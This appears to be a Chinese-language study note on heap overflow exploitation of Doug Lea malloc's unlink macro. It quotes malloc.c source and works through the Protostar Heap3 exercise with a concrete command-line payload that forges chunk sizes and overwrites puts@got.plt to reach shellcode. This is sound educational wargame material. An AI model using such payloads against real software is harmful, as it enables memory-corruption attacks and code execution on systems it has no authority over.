最近了解了一點有關Linux上malloc()的知識，懂得在基於Doug Lea Malloc的malloc實作上如何利用overflow來做到Heap Exploit，在此做個筆記整理。
以下是一個存在heap overflow風險的程式
mem = malloc(24);
gets(mem);
...
free(mem);不像stack overflow，heap上不存在ret這種可以改變program flow的東西，所以頂多就是資料被覆寫，貌似風險不大，但事實上並非如此。
What is chunk ?
malloc所分配的記憶體單位為chunk，定義如下：
struct chunk {
int prev_size;
int size;
struct chunk *fd; // forward pointer
struct chunk *bk; // backward pointer
};若已被分配的chunk不會用到後兩個pointer，直接用來存資料，但未分配的則會，也就是free chunks是用double linked-list串起來的。
但size總為8的倍數，於是最小的3 bits被拿來當作status bit，其中以LSB最重要，叫做PREV_INUSE，如同其字面意思，功用是紀錄上一個chunk是否為free。
About free()
來看看free()的實作，free()是chunk_free()的wrapper，較重要的部分如下（節錄至malloc.c－Doug Lea , 2001）
void
_int_free(mstate av, Void_t* mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr* fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking *//* free(0) has no effect */
if (mem != 0) {
p = mem2chunk(mem);
size = chunksize(p); check_inuse_chunk(av, p); /*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/if ((unsigned long)(size) <= (unsigned long)(av->max_fast)#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) { set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = *fb;
*fb = p;
} /*
Consolidate other non-mmapped chunks as they arrive.
*/else if (!chunk_is_mmapped(p)) {
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
assert(nextsize > 0); /* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);/* consolidate forward */
if (!nextinuse) {
unlink(nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0); /*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/...
這裡重要的就是三個if condiction，第一個if是有關於fastbin，定義如下
/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE 80用意是為了performance，可以稍微注意這個if內的程式，會發現只有fd而沒有bk，意思是小chunk(<80)不需勞煩用double linked-list連接，我們並不希望這個condiction成立，至於為什麼後面會提。
接著兩個if condiction－consolidate backward、consolidate forward，是free用來找chunk的前後鄰居是否有free chunk可合併（合併chunk有助於performane呀），來看看consolidate forward的情況，大意如下
If forward chunk is free
calculate merged chunk size
If forward chunk is last_remainder
...
Else
unlink(next, bck, fwd)重點在這個unlink，他是一個macro，定義如下
#define unlink(p, bck, fwd)
{
bck = p->bk;
fwd = p->fd;
fwd->bk = bck;
bck->fd = fwd;
}做的事情很簡單，上面提到所有的free chunks(>80)是一個double linked-list結構，當兩個free chunks已經合併為一個了，那麼其中一個chunk node就用不到了，於是要把它移除。
在這裡unlink所做的事總結兩行如下：
*(next->fd + 12) = next->bk
*(next->bk+ 8) = next->fd
等等，注意到什麼了嗎？由於存在overflow，以至於next chunk的資料是可控的，也就是next->fd和next->bk是可控的，這不就代表我們能夠在任意記憶體位址寫入資料了嗎！基本上可以這麼說，但還有個問題是(next->fd + 12)、(next->bk+ 8)必須都是writable address，否則會造成segfault，細節待實戰時再來討論。
但如果是上面所提到的fastbin就不會做unlink，這是exploit的關鍵，要避免這個情況，所以要注意所要free掉的chunk它的size。
Example
exploit-exercises/Protostar — Heap3
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}int main(int argc, char **argv)
{
char *a, *b, *c; a = malloc(32);
b = malloc(32);
c = malloc(32); strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]); free(c);
free(b);
free(a); printf("dynamite failed?\n");
}
題目告訴我們是dlmalloc，所以直接朝這個方向想，第一眼看到時想到利用unlink() overwrite puts@got.plt by winner()，按照上面unlink兩條式子來建構payload。
p.s. printf只有字串參數時被最佳化為puts
*(puts@got.plt+12) = winner
*(winner+8)=puts@got.plt
但這作法明顯不行，winner在code segment無法寫入，那麼先寫入heap的位址，之後再想辦法跳到winner()去呢？試試看。
*(puts@got.plt+12) = shellcode (some heap address)
*(shellcode+8)=puts@got.plt
看起來行得通，但有個小小問題是shellcode的8~11bytes會被覆寫而無法使用，但這也簡單，在shellcode開頭設個jmp跳過去就是了。
OK，unlink的部分做完了，但似乎遺漏了一個更根本的問題，「unlink觸發的條件」，若要觸發consolidate backward，有幾個要點：
1. chunk size > MAX_FAST_SIZE (80)
2. 前一個chunk使用中 (PREV_INUSE is set)
3. 下一個chunk為free，也就是下下一個chunk的PREV_INUSE is clear
由於原先heap的三個chunks PREV_INUSE皆為set，所以必須要overwrite讓其unset，步驟為以下
- 從第二個chunk overwrite到第三個chunk的size field，unset PREV_INUSE。
- 偽造第四個chunk，只需要用到size field，功用是讓free()認為第三個chunk為free，也就unset第四個chunk size PREV_INUSE。
size field中的0x65大於MAX_FAST_SIZE(80)，且LSB is set，沒問題。
至於這個0x???????n是偽造的第四個chunk，那麼實際該填什麼呢？這裡注意一下，題目是用strcpy()來填heap的，所以不能夠有NULL byte！那麼這時可以填在size field的只剩兩種數字，
- 很大的數字，以至於每個byte都有值
- 負數
第一個明顯不能，heap沒那麼大可以爆，那麼就剩第二種－填負數。讓我們回去看看malloc.c consolidate forward那邊的程式
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);/* consolidate forward */
if (!nextinuse) {
...
inuse_bit_at_offset是個macro，定義如下
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s)\
(((mchunkptr)(((char*)(p)) + (s)))->size & PREV_INUSE)注意到什麼了嗎？它並沒有做sign check，所以負數是可行的，那挑個方便的數字-4(0xfffffffc)使用，接下來就可以來建構payload了。
./heap3 Shellcode\
`python -c 'print "A"*(32+4) + "\x65"'` \
`python -c 'print "C"*(100-8) + "\xfc\xff\xff\xff"*2 + \
"\x1c\xb1\x04\x08" + "\x08\xc0\x04\x08"'`fd = puts@got.plt -12 = 0x0804b128 -12 = 0x0804b11c
bk = (chunk_1)+8 = 0x0804c000+8 = 0x0804c008
確認沒問題之後，就可以來建構shellcode了，剛好第一個chunk沒用到，理所當然的就放這邊吧，但之前提過第8~11byte無法使用，所以shellcode開頭必須做個小jmp跳過12bytes，之後接call winner()就可以囉。
以上所說的都是consolidate forward的作法，其實backward也大同小異，一些細節方面的不同而已，在此不再贅述。
後記
在這次蒐集這篇文章的資料時學習了很多，雖然這個bug約莫十年前早已在glibc 2.3.3以後的版本修復了，但如今的malloc演算法仍與以前差不多，以前雖然設備不好，但演算法這種理論的東西早已證明那時的malloc做法是effective的，防護者的檢查仍要以效能為最主要考量。再找資料時發現了這句話可用來印證這件事情，在此分享－
for every protection there is an anti-protection.
